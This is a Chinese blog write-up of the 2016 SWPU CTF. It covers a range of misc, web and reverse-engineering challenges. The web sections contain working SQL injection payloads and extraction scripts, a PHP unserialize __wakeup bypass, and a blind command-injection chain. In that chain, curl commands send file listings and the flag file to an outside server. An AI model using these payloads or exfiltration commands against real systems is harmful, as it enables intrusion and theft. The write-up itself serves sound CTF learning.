首页 > WriteUp > 2016 SWPU CTF的WriteUp

2016 SWPU CTF的WriteUp

2016年10月28日 发表评论 阅读评论

前言&乱七八糟的话

之前在公司群看到军爷说是想看看这个比赛,想一起搞搞,这是背景一。
刚好周四去北京出差了,出差的主要目的是给华北电力的各位童鞋做培训,同学们纷纷表示想打一下真正的CTF,这是背景二。
于是综上两个背景,从周六开始我也参与到这次CTF中了,吐槽一下,题目名字真心乱,这让我写WriteUp都没办法好好写- -!
当然比赛过程中,和出题人也交(P)流(y)了不少,很感谢出题人的慷概解答和循循善诱
对了,还有个槽点
比赛地址:http://ctf.08067.me/
08067,远程溢出,太imba了
平心而论,比赛的题目还是很有意思的,很感谢主办方给了一个这样的环境,里面也学到了一些新的姿势,从题目方面看得出来各位童鞋Web狗居多啊2333

签到题

题目信息

地址: QQ群:184517991
分值: 50
Flag: flag{welcome_swpu_ctf}

解题过程

进入他们官方的QQ群,找了一圈没找到Flag,然后问了下管理员,管理员表示Flag在历史公告,But我的Mac QQ并不能看历史公告,于是。。。


嗯,这是一道送分题

Misc150(Misc2)

题目信息

地址: http://misc.08067.me/misc2/misc.pcapng
分值: 150
Flag: flag{Rgb_dhskjadyhjksndjsagh}

解题过程

得到是个pcapng包,直接丢WireShark
发现有一大堆的HTTP通信包,于是直接看下HTTP的导出对象里有什么,果然功夫不负有心人


有一个名为flag.zip的文件,解压开,得到一个名为ce.txt的文件,打开之后发现其记载的似乎是一些RGB值

然后估计应该是依据这些RGB值来画图,看了一下这些信息,有98457行
然后首先要得到图片的长和宽,把98457因式分解下可得到

98457 = 37 * 3 * 887 

感觉887作为长是比较OK的,37*3作为宽,于是得到图片大小为887 * 111
接下来写个小程序就可以画出来了

from PIL import Image

x=887 # 长
y=111 # 宽

f = open("ce.txt", 'r')
rgbinfo = f.readlines()
f.close()
c = Image.new("RGB", (x, y))

for i in range(0, x):
    for j in range(0, y):
        rgb = rgbinfo[i * y + j].split(", ")
        c.putpixel([i, j],(int(rgb[0]), int(rgb[1]), int(rgb[2])))

c.show()

Misc100(Misc4)

题目信息

地址: http://misc.08067.me/misc4/fuck.html
分值: 100
Flag: flag{wjTdUoAgqzxxnjfa9kan}

解题过程

老实说,这也是一道送分题,给的说明是fuck!!fuck!!,进去一看,乐了,JSFuck,于是估计下一个是BrainFuck


直接丢Chrome的Console跑一下

还真是BrainFuck

+++++ +++++ [->++ +++++ +++<] >++.+ +++++ .<+++ [->-- -<]>- -.+++ +++.<++++[ ->+++ +<]>+ +++.- ---.< +++[- >---< ]>--- -.<++ ++[-> ----< ]>------.< ++++[ ->+++ +<]>. <+++[ ->--- <]>-- ----. <++++ +[->+ ++++< ]>+.<+++++ +[->- ----- <]>-- ----- ---.< +++++ +[->+ +++++ <]>++ .<+++ [->+++<]>+ .++++ +++++ .--.. <+++[ ->--- <]>-. ----. ----. ----- .<+++ +++[->---- --<]> ----. <++++ +++[- >++++ +++<] >+.<+ ++[-> ---<] >-.<+ ++[->+++<] >++++ .<+++ [->++ +<]>+ +++++ .<

找到一个在线运行这玩意的网站,拿到了Flag
https://www.nayuki.io/page/brainfuck-interpreter-javascript

Web200-1(Web1)

题目信息

地址: http://web1.08067.me/
分值: 200
Flag: flag{sql_iNJEct_comMond_eXEC!}

解题过程

只给了一个登录框,然后没了,那么尝试了一下admin, admin提示密码错误,再尝试了下其他的用户名密码,提示用户名错误,确定用户名就是admin
然后尝试了下万能密码,发现是有WAF检测的


另外HTTP头这里给出了提示

JHF1ZXJ5PSJTRUxFQ1QgKiBGUk9NIGFkbWluIFdIRVJFIHVuYW1lPSciLiR1bmFtZS4iJyI7aWYgKCRyb3dbJ3Bhc3N3ZCddPT09JHBhc3N3ZCl7JF9TRVNTSU9OWydmbGFnJ10gPSAxOw==

base64_decode之后内容为

$query="SELECT * FROM admin WHERE uname='".$uname."'";
if ($row['passwd']===$passwd){
    $_SESSION['flag'] = 1;
}

得到了他的查询语句。
如果被ban了则提示illegal character!!@_@
那么首先先看下都有哪些被ban了,经过Fuzz发现

空格
or
and
union
+
*
,
 制表符

等等,都是被ban掉了,所以我们可用的就剩下

()
'
=
select
from
where

以及不含关键词的mysql自带函数
于是这是肉眼可见的一个盲注,接下来怎么注入就是问题了
显然没了空格,那么得先找到一个办法不需要空格也能注入的,因为*被Ban了所以注释代替空格也废了
在网上查找了一番,发现可以利用括号来代替空格

select pass from admin where user='Seclover'
select(pass)from(admin)where(user)=('Seclover')

这两条语句是没有任何区别的


于是,在这里我们可以用()来绕过空格被过滤的情况,第一步,大功告成,
然后接下来,得想一个办法把末尾的'消灭掉,因为用空格代替之后的语句最后一个肯定是),But人家原先的语句最后一个肯定是',所以接下来就需要构造我们的布尔条件了
在mysql的where里,允许如下这种的比较

select pass from admin where user='-1'=1='0'

其比较过程从左至右,依次比较,需要注意的是,在mysql里字符串表示为真,数字1(字符串格式的数字同样)同样表示为真,数字0(字符串格式的数字同样)可以表示为假,没取到数据也可以表示为假

user的查询结果和'-1'比较 --> 结果为假(0)
假与1比较 ----------------> 结果为假(0)
假与'0'比较 --------------> 结果为真(1)   

于是最后的结果为真,所以我们可以控制的是他的逻辑
让原先的查询条件(user=xxx)为假,让最后的比较(xxx='0')为假,这样我们在中间的1就可以自己任意控制了,再加上mysql的子查询,就可以构造出完整的payload

# -------------- Payload -------------- #
uname=uname'=(select(1)from(admin)where('1')=('1'))='&passwd=1
# -------------- 查询语句 -------------- #
SELECT * FROM admin WHERE uname='uname'=(select(1)from(admin)where('1')=('1'))='';

提交之后发现提示password error,说明uname取出来了,即我们给出的条件为真


但是如果没取出来,则提示username error,说明uname没取出来,即我们给出的条件为假

于是接下来我们只要跑这个布尔盲注即可
然后猜passwd有多少位,二分法,最多100位,他不会真丧心病狂的把passwd搞成100位以上吧

# -------------- Payload -------------- #
uname=uname'=(select(1)from(admin)where(length(passwd))<100)='&passwd=1 # 正确,位数< 100
uname=uname'=(select(1)from(admin)where(length(passwd))<50)='&passwd=1  # 正确,位数< 50
uname=uname'=(select(1)from(admin)where(length(passwd))<25)='&passwd=1  # 错误,25 < 位数 < 50
uname=uname'=(select(1)from(admin)where(length(passwd))<30)='&passwd=1  # 错误,30 < 位数 < 50
uname=uname'=(select(1)from(admin)where(length(passwd))<35)='&passwd=1  # 正确,30 < 位数 < 35
uname=uname'=(select(1)from(admin)where(length(passwd))<33)='&passwd=1  # 正确,30 < 位数 < 33
uname=uname'=(select(1)from(admin)where(length(passwd))<32)='&passwd=1  # 错误,32 < 位数 < 33
uname=uname'=(select(1)from(admin)where(length(passwd))=32)='&passwd=1  # 正确,位数=32
# -------------- 查询语句 -------------- #
SELECT * FROM admin WHERE uname='uname'=(select(1)from(admin)where(length(passwd))=32)='';

passwd有32位,猜测是个md5,
然后发现有个坑···逗号被ban了,尴尬,mid substr都废了,But这俩要废了,布尔盲注就相当于废了,本着不信邪的原则上网各种找资料
http://www.2cto.com/Article/201609/545408.html找到这么一段话

逗号绕过
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决。

select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

但是for里又包含关键词or,所以for也不能用,最后尝试把for 1直接删掉,发现是可以执行的
不断变换最后from的1(N),则mid或是substr将会从右往左开始取第N位到末尾
上个图就很容易看明白了


OK,最后一个问题也解决了,愉快的注入吧
这里写了个python的小脚本来慢慢跑

import hackhttp

hh = hackhttp.hackhttp()
md5_str = '1234567890abcdef'
flag = ""
url = "http://web1.08067.me/login.php"
for length in range(0,33):
    for i in md5_str:
        raw = '''POST /login.php HTTP/1.1
Host: web1.08067.me
Content-Length: 76
Cache-Control: max-age=0
Origin: http://web1.08067.me
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
DNT: 1
Referer: http://web1.08067.me/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: PHPSESSID=h28ht7sld80jlsvcil0q5e2p90

uname=uname'=(select(1)from(admin)where(mid((passwd)from(%d))='%s%s'))='&passwd=1''' % (32-length,i,flag)
        a,b,c,d,e = hh.http(url,raw=raw)
        if "password" in c:
            flag = i + flag
            print 32-length,flag

很快结果就出来了

c12366feb7373bf6d869ab7d581215cf

扔到cmd5查一下


OK,得到密码为1234567mn,直接用admin登陆进去吧
登陆进去懵逼了,一脸懵逼,对角懵逼,排比懵逼,二叉树懵逼,霍夫曼懵逼,薛定谔懵逼,空中转体两周半懵逼,阿姆斯特朗回旋加速式阿姆斯特朗懵逼,反正就是各种懵逼就对了

What The Fuck!!!!,这踏马是个什么鬼!!!说好的Flag呢!!!
看来还有最后的考验,看起来像是命令执行,执行成功会有提示,失败了也会有提示,就是没有回显,然而一旦命令里有空格就GG了,好吧,找个在linux能代替空格的东西
在本机尝试之后,发现这玩意,也就是制表符能代替Linux命令行下的空格
最后就是解决回显的问题了,在问了出题人之后,确认了自己的思路,需要利用Cloud Eye或是Web Server Log把数据透传出来
那简单了,利用`这个把命令裹起来,然后curl到自己服务器,直接查看自己服务器的Web Server Log就可以知道数据了
最终的payload

curl    http://114.215.113.20/`ls   ./|head -n  1   |   tail    -n  1`
curl    http://114.215.113.20/`ls   ./|head -n  2   |   tail    -n  1`
curl    http://114.215.113.20/`ls   ./|head -n  3   |   tail    -n  1`
curl    http://114.215.113.20/`ls   ./|head -n  4   |   tail    -n  1`
curl    http://114.215.113.20/`ls   ./|head -n  5   |   tail    -n  1`

执行完成之后用head和tail取其中第N条数据,然后带着这个数据去访问我的服务器,我只要查看我的webserver的log就可以了


看来flag不在当前目录,跳到上层目录看看

curl    http://114.215.113.20/`ls   ../|head    -n  1   |   tail    -n  1`
curl    http://114.215.113.20/`ls   ../|head    -n  2   |   tail    -n  1`
curl    http://114.215.113.20/`ls   ../|head    -n  3   |   tail    -n  1`
curl    http://114.215.113.20/`ls   ../|head    -n  4   |   tail    -n  1`
curl    http://114.215.113.20/`ls   ../|head    -n  5   |   tail    -n  1`
curl    http://114.215.113.20/`ls   ../|head    -n  6   |   tail    -n  1`
curl    http://114.215.113.20/`ls   ../|head    -n  7   |   tail    -n  1`
curl    http://114.215.113.20/`ls   ../|head    -n  8   |   tail    -n  1`
curl    http://114.215.113.20/`ls   ../|head    -n  9   |   tail    -n  1`
curl    http://114.215.113.20/`ls   ../|head    -n  10  |   tail    -n  1`

上层目录也没有,再往上看

curl    http://114.215.113.20/`ls   ../../|head -n  1   |   tail    -n  1`
curl    http://114.215.113.20/`ls   ../../|head -n  2   |   tail    -n  1`
curl    http://114.215.113.20/`ls   ../../|head -n  3   |   tail    -n  1`
curl    http://114.215.113.20/`ls   ../../|head -n  4   |   tail    -n  1`

嗯,看到flag了,cat下看看

curl    http://114.215.113.20/`cat  ../../flag`

搞定,flag似乎少了{},在flag之后和末尾加上就好了

WEB200-2(Web3)

题目信息

地址: http://web3.08067.me/wakeup/index.php
分值: 200
Flag: flag{WakEup!_v1ry_f4N}

解题过程

提示,出题人喜欢在编辑器下修改代码,于是猜测是不是有.bak .swp文件,查看了一下robots.txt和bak swp文件
得到两个bak
/wakeup/index.php.bak

if(isset($_COOKIE['user'])){
    $login = @unserialize(base64_decode($_COOKIE['user']));
    if(!empty($login->pass)){
        $status = $login->check_login();
        if($status == 1){
            $_SESSION['login'] = 1;
            var_dump("login by cookie!!!");
        }
    }
}

/wakeup/index.php.bak

class help {
    static function addslashes_deep($value)
    {
        if (empty($value))
        {
            return $value;
        }
        else
        {
            if (!get_magic_quotes_gpc())
            {
            $value=is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags(addslashes($value));
            }
            else
            {
            $value=is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags($value);
            }
            return $value;
        }
    }
    static function remove_xss($string) { 
        $string = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $string);

        $parm1 = Array('javascript', 'union','vbscript', 'expression', 'applet', 'xml', 'blink', 'link', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'base');

        $parm2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload','href','action','location','background','src','poster');
        
        $parm3 = Array('alert','sleep','load_file','confirm','prompt','benchmark','select','and','or','xor','update','insert','delete','alter','drop','truncate','script','eval','outfile','dumpfile');

        $parm = array_merge($parm1, $parm2, $parm3); 

        for ($i = 0; $i < sizeof($parm); $i++) { 
            $pattern = '/'; 
            for ($j = 0; $j < strlen($parm[$i]); $j++) { 
                if ($j > 0) { 
                    $pattern .= '('; 
                    $pattern .= '(&#[x|X]0([9][a][b]);?)?'; 
                    $pattern .= '|(�([9][10][13]);?)?'; 
                    $pattern .= ')?'; 
                }
                $pattern .= $parm[$i][$j]; 
            }
            $pattern .= '/i';
            $string = preg_replace($pattern, '****', $string); 
        }
        return $string;
    }
    static function mystrip_tags($string)
    {
        $string =  help::new_html_special_chars($string);
        $string =  help::remove_xss($string);
        return $string;
    }
    static function new_html_special_chars($string) {
        $string = str_replace(array('&', '"', '<', '>','&#'), array('&', '"', '<', '>','***'), $string);
        return $string;
    }
    // 实体出库
    static function htmlspecialchars_($value)
    {
        if (empty($value))
        {
            return $value;
        }
        else
        {
            if(is_array($value)){
                foreach ($value as $k => $v) {
                    $value[$k] = self::htmlspecialchars_($v);
                }
            }else{
                $value = htmlspecialchars($value);
            }
            return $value;
        }
    }
    //sql 过滤
    static function CheckSql($db_string,$querytype='select')
    {
        $clean = '';
        $error='';
        $old_pos = 0;
        $pos = -1;
        if($querytype=='select')
        {
            $notallow1 = "[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}";
            if(preg_match("/".$notallow1."/i", $db_string))
            {
                exit("Error");
            }
        }
        //完整的SQL检查
        while (TRUE)
        {
            $pos = strpos($db_string, '\'', $pos + 1);
            if ($pos === FALSE)
            {
                break;
            }
            $clean .= substr($db_string, $old_pos, $pos - $old_pos);
            while (TRUE)
            {
                $pos1 = strpos($db_string, '\'', $pos + 1);
                $pos2 = strpos($db_string, '\\', $pos + 1);
                if ($pos1 === FALSE)
                {
                    break;
                }
                elseif ($pos2 == FALSE || $pos2 > $pos1)
                {
                    $pos = $pos1;
                    break;
                }
                $pos = $pos2 + 1;
            }
            $clean .= '$s$';
            $old_pos = $pos + 1;
        }
        $clean .= substr($db_string, $old_pos);
        $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
        if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE 
        OR strpos($clean,'$s$$s$')!== FALSE)
        {
            $fail = TRUE;
            if(preg_match("#^create table#i",$clean)) $fail = FALSE;
            $error="unusual character";
        }
        elseif (strpos($clean, '/*') !== FALSE ||strpos($clean, '-- ') !== FALSE || strpos($clean, '#') !== FALSE)
        {
            $fail = TRUE;
            $error="comment detect";
        }
        elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~is', $clean) != 0)
        {
            $fail = TRUE;
            $error="slown down detect";
        }
        elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~is', $clean) != 0)
        {
            $fail = TRUE;
            $error="slown down detect";
        }
        elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~is', $clean) != 0)
        {
            $fail = TRUE;
            $error="file fun detect";
        }
        elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~is', $clean) != 0)
        {
            $fail = TRUE;
            $error="file fun detect";
        }
        if (!empty($fail))
        {
            exit("Error" . $error);
        }
        else
        {
            return $db_string;
        }
    }
}

class login{
    var $uid = 0;
    var $name='';
    var $pass='';
    
    //检查用户是否已登录
    public function check_login(){
        mysql_conn();
        $sqls = "select * from phpinfoadmin where username='$this->name'";
        $sqls = help::CheckSql($sqls);
        $re = mysql_query($sqls);
        $results = @mysql_fetch_array($re);
        //echo $sqls . $results['passwd'];
        mysql_close();
        if (!empty($results))
        {
            if($results['passwd'] == $this->pass)
            {
                return 1;
            }
            else
            {
                return 0;
            }
        }
        }
    //预防cookie某些破坏导致登陆失败
    public function __destruct(){
        $this->check_login();
    }
    //反序列化时检查数据
    public function __wakeup(){
        $this->name = help::addslashes_deep($this->name);
        $this->pass = help::addslashes_deep($this->pass);
    }
}
?>

从代码逻辑可以看到从Cookie里取user的值,然后base64_decode,然后反序列化到login这个类,反序列化之后先执行__wakeup(),然后执行__destruct()
在__wakeup()里可以看到几乎过滤了全部注入/XSS的关键词


所以首先要把__wakeup()给Bypass掉
在网上寻找之后,发现在php5.6以下的版本是有一漏洞的,CVE-2016-7124
http://www.tuicool.com/articles/aMfeEfJ
https://bugs.php.net/bug.php?id=72663
当序列化之后的字符串定义的的元素个数与实际个数不符合的时候(定义个数大于实际个数),__wakeup()将不会执行
那么接下来构造序列化字符串就行

O:5:"login":2:{s:4:"name";s:5:"admin";s:4:"pass";s:32:"21232f297a57a5a743894a0e4a801fc3";}
----------------------
O:5:"login":5:{s:4:"name";s:5:"admin";s:4:"pass";s:32:"21232f297a57a5a743894a0e4a801fc3";}

当使用第二条序列化的字符串时,将会绕过__wakeup()的执行
OK,第一步已经完成了,接下来想办法绕过help::CheckSql()的检查即可
这里卡了半天,最后不得已问了下出题人,出题人表示这里是个时间盲注,然后看了下代码,sleep被ban了。然后再问出题人,出题人表示和80sec-ids有关,然后就不说话了- -!
在DeDeCMS里用的也是这一个WAF,在网络上查找一番之后,发现如果数据被两个引号包裹的话,就不会进行检测,也就意味着sleep可以逃逸出来了,然后想办法把引号包含进去,在查(xun)阅(web)过相关(chu)资(ti)料(ren)之后,了解到在mysql中,以`包裹的字符串会当做表名/列名处理,如果是包裹的单引号的话,也就相当于什么都没有包裹,于是只要改变原有的where条件就可以了。
那么最终的payload就是

admin' and (select 1 from flag where ascii(mid(flag,1,1))=33) and (`'`.``.username=1 or sleep(3)) #
admin' and (select 1 from flag where ascii(mid(flag,1,1))=34) and (`'`.``.username=1 or sleep(3)) #
admin' and (select 1 from flag where ascii(mid(flag,1,1))=35) and (`'`.``.username=1 or sleep(3)) #
admin' and (select 1 from flag where ascii(mid(flag,1,1))=36) and (`'`.``.username=1 or sleep(3)) #
admin' and (select 1 from flag where ascii(mid(flag,1,1))=37) and (`'`.``.username=1 or sleep(3)) #
admin' and (select 1 from flag where ascii(mid(flag,1,1))=38) and (`'`.``.username=1 or sleep(3)) #
·········
# ------------------------------------------------------------------------------------------------------ #
admin' and (select 1 from flag where ascii(mid(flag,2,1))=33) and (`'`.``.username=1 or sleep(3)) #
admin' and (select 1 from flag where ascii(mid(flag,2,1))=34) and (`'`.``.username=1 or sleep(3)) #
admin' and (select 1 from flag where ascii(mid(flag,2,1))=35) and (`'`.``.username=1 or sleep(3)) #
admin' and (select 1 from flag where ascii(mid(flag,2,1))=36) and (`'`.``.username=1 or sleep(3)) #
admin' and (select 1 from flag where ascii(mid(flag,2,1))=37) and (`'`.``.username=1 or sleep(3)) #
admin' and (select 1 from flag where ascii(mid(flag,2,1))=38) and (`'`.``.username=1 or sleep(3)) #
·········

写个小程序去处理这一切吧

import hackhttp
import time
def base64(s):
    import base64
    return base64.b64encode(s)
hh = hackhttp.hackhttp()
flag = ""
for i in range(1,40):
    for j in range(33,125):
        payload = "admin' and (select 1 from flag where ascii(mid(flag,%d,1))=%d) and (`'`.``.username=1 or sleep(3)) #"% (i,j)
        payload_len = len(payload)
        serialize_str = '''O:5:"login":5:{s:4:"name";s:%d:"%s";s:4:"pass";s:32:"21232f297a57a5a743894a0e4a801fc3";}''' % (payload_len,payload)
        raw = '''GET /wakeup/index.php HTTP/1.1
Host: web3.08067.me
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
DNT: 1
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: user=%s

''' % base64(serialize_str)
        url = "http://web3.08067.me/wakeup/index.php"
        start = time.time()
        a,b,c,d,e = hh.http(url,raw=raw)
        end = time.time()
        exec_time = end-start
        if exec_time > 3:
            flag += chr(j)
            print i,flag
            break

差不多5分钟左右flag就出来了(时间盲注真够蛋疼的)
这里是成功的图

REVERSE50(CM50)

题目信息

地址: http://misc.08067.me/CM50/CM50.exe
分值: 50
Flag: Flag{sWpU_the_1_R3}

解题过程

讲道理,这题也是一个送分题,基本可以看做是Reverse类型的签到题
下载下来是个exe,打开之后提示缺少两个dll,mfc120ud.dll和msvcr120d.dll,补齐dll后界面如图所示


丢到IDA里没发现啥东西,然后突发奇想是不是把什么元素/控件隐藏起来了,于是用ResHacker打开看看,果不其然Flag就在其中

REVERSE100(CM100)

题目信息

地址: http://misc.08067.me/CM100/CM100.exe
分值: 100
Flag: Flag{lr{-l0F-)uFe?}

解题过程

CM100不是我做的,找了Incken帮我搞定的,所以这里也就直接让他帮我写了这题的WP。
先查下壳,没有。直接扔进OD,运行。提示“wrong",在堆栈向下找



这里似乎是flag,但其实不是。还是静态分析吧。
在ida里直接搜索字串flag。

找到位置直接F5看C代码。

获取输入值后先与12345678异或,然后与26544631比较,真则设dword_DE4028为1,否则设0并报”wrong"。
之后异或值再与12345678异或参与真flag的计算。Text为假flag字串。
上图中标出的位置应该是由于不小心,导致了V10的访问过界。应该是i % 8。
剩下就简单了,所以最后的密码也就是输入值与12345678异或之后和26544631
反过来就是

12345678 ^ 26544631 = 19491001

通过12345678与26544631异或算出正确输入值.
然后让程序告诉我们真的flag吧。

WEB50(Web签到)

题目信息

地址: http://139.196.35.85/
分值: 50
Flag: flag{This_a_web!}

解题过程

Web系列的签到题,右键查看源代码就行

REVERSE150

题目信息

地址: http://misc.08067.me/CM150/cm150.apk
分值: 150
Flag: Flag{I'm_s0_Tir3D|T-T}

解题过程

题目是个apk,安装上去之后只有一个输入框和一个按钮


不说话,直接拖到jadx里看源代码,在com.example.test1这个包的MainActiveity里就可以直接看到代码

package com.example.test1;

import android.app.Activity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;

public class MainActivity extends Activity {
    String Flag = "";
    String encode;
    String encode1;
    int flag = 0;

    public String Encode1(String Flag, int len) {
        char[] xor = Flag.toCharArray();
        int[] encode = new int[16];
        if (len != 16) {
            return "lalalalalalala~~";
        }
        int i;
        for (i = 0; i < Flag.length(); i++) {
            encode[i] = xor[i];
            encode[i] = encode[i] ^ 29;
        }
        for (i = 1; i < 8; i++) {
            int temp = encode[i];
            encode[i] = encode[15 - i];
            encode[15 - i] = encode[i];
        }
        for (i = 0; i < 16; i++) {
            xor[i] = (char) encode[i];
        }
        return String.valueOf(xor);
    }

    public String Encode2(String encode, String Flag) {
        char[] xor1 = encode.toCharArray();
        char[] xor2 = Flag.toCharArray();
        for (int i = 0; i < 16; i++) {
            if (i % 2 == 0) {
                xor1[i] = xor2[i];
            }
        }
        return String.valueOf(xor1);
    }

    public int chack(String encode1) {
        char[] xor = encode1.toCharArray();
        int[] sum = new int[16];
        int[] sum1 = new int[]{73, 48, 109, 97, 115, 46, 95, 116, 105, 111, 51, 89, 124, 73, 45, 73};
        for (int i = 0; i < 16; i++) {
            sum[i] = xor[i];
            if (sum[i] != sum1[i]) {
                return 0;
            }
        }
        return 1;
    }

    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        ((Button) findViewById(R.id.button1)).setOnClickListener(new OnClickListener() {
            public void onClick(View v) {
                EditText Text1 = (EditText) MainActivity.this.findViewById(R.id.Text1);
                MainActivity.this.Flag = Text1.getText().toString();
                if (MainActivity.this.Flag.length() != 16) {
                    Toast.makeText(MainActivity.this, "something wrong~~", 0).show();
                    return;
                }
                MainActivity.this.encode = MainActivity.this.Encode1(MainActivity.this.Flag, MainActivity.this.Flag.length());
                MainActivity.this.encode1 = MainActivity.this.Encode2(MainActivity.this.encode, MainActivity.this.Flag);
                MainActivity.this.flag = MainActivity.this.chack(MainActivity.this.encode1);
                if (MainActivity.this.flag == 1) {
                    Toast.makeText(MainActivity.this, "WOw~, You got it !", 0).show();
                } else {
                    Toast.makeText(MainActivity.this, "trg again~", 0).show();
                }
            }
        });
    }

    public boolean onCreateOptionsMenu(Menu menu) {
        getMenuInflater().inflate(R.menu.main, menu);
        return true;
    }

    public boolean onOptionsItemSelected(MenuItem item) {
        if (item.getItemId() == R.id.action_settings) {
            return true;
        }
        return super.onOptionsItemSelected(item);
    }
}

根据代码流程,输入的字符串要为16位,然后进行Encode1
Encode1的过程如下
把字符串的每个字符的ASCII HEX转成数组(toCharArray),
每一位与0x29异或,然后把
第14位的值设为第2位
第13位的值设为第3位
第12位的值设为第4位
第11位的值设为第5位
第10位的值设为第6位
第9位的值设为第7位
然后结果return回去,Encode1就完了,进入Encode2阶段
在Encode2阶段,把每个双数位的值换成相应位置输入的值
例如输入abcdefghijklmnop,encode之后的结果为|rspqvwttwvqpsrm
然后进入encode2,双位替换

|rspqvwttwvqpsrm    Encode1(input)
abcdefghijklmnop    input
| | | | | | | |
| | | | | | | |
+-+-+-+-+-+-+-+-    +替换 -不替换
|r|p|v|t|w|q|s|m
| | | | | | | |
arcpevgtiwkqmsom    output

经过Encode2的结果与{73, 48, 109, 97, 115, 46, 95, 116, 105, 111, 51, 89, 124, 73, 45, 73}的每一位比较
所以第一步就可以先把Encode2的结果推回去,先转换为ASCII字符 I0mas._tio3Y|I-I

I0mas._tio3Y|I-I
| | | | | | | | 
I*m*s*_*i*3*|*_*   Encode1(input) *代表未知

然后在Encode1里有交换,所以可以得出交换赋值之前的内容

I*m*s*_*i*3*|*_*
 ||||||||||||||
 ||||||++||||||
 |||||+--+|||||
 ||||+----+||||
 |||+------+|||
 ||+--------+||
 |+----------+|
 +------------+

妈的想不来,写不下去了,
反正我是把算法拿出来,比较的时候打印人工爆破出来的


经过无数次尝试(大约50来次吧),得出的答案是I*m*s*_*ir3D|T-T * 代表任意字符,也就是说此题有多解

问了下出题人,截图给出题人证明之后,出题人给了flag

REVERSE200

题目信息

地址: http://misc.08067.me/CM200/CM200.exe
分值: 200
Flag: Flag{y3s_Is_tH3_LaSt}

解题过程

这题也是Inkcen表哥做的,办法很暴力,按位爆破,按照他的话说,为什么要按位做检测呢- -!
直接附上爆破代码和截图吧

#include 

#include 
char flag[30] = { 0 };
int main()
{
    HWND mainh = FindWindow(nullptr,L"CM200");
    if (mainh == nullptr)
        printf("error");
    HWND XX = FindWindowEx(mainh, nullptr, L"Edit", nullptr);
    if(XX == nullptr)
        printf("error2");
    flag[0] = 'F';
    flag[1] = 'l';
    flag[2] = 'a';
    flag[3] = 'g';
    flag[4] = '{';
    flag[5] = 'y';
    flag[6] = '3';
    flag[7] = 's';
    flag[8] = '_';
    flag[9] = 'I';
    flag[10] = 's';
    flag[11] = '_';
    flag[12] = 't';
    flag[13] = 'H';
    flag[14] = '3';
    flag[15] = '_';
    flag[16] = 'L';
    flag[17] = 'a';
    flag[18] = 'S';
    flag[19] = 't';
    flag[20] = '}';
    for (char i = 0x20; i < 0x7e; i++)
    {
        flag[20] = i;
        SendMessageA(XX, WM_SETTEXT, NULL, (LPARAM)flag);
        HWND box = FindWindow(nullptr, L"wow");
        Sleep(10);
        if (box != nullptr)
        {
            
            exit(0);
        }
    }
    return 0;
}

每一位输入之后可以检测,那么接下来就类似于盲注一样,一位一位检测就可以拿到所有的了

WEB100

题目信息

地址: http://web2.08067.me/
分值: 100
Flag: flag{this_is_fl@g_1}

解题过程

讲道理,这题界面很炫


嗯,很Imba,我很喜欢
看到提示有include.php,于是访问一下,发现没有什么,看了下源代码,发现新的tips

目前就凭这两个文件名,可以看出这题应该是上传一个东西,然后给包含进来
访问了下upload.php,发现只能上传jpg/png/gif,其他的都上传不上去
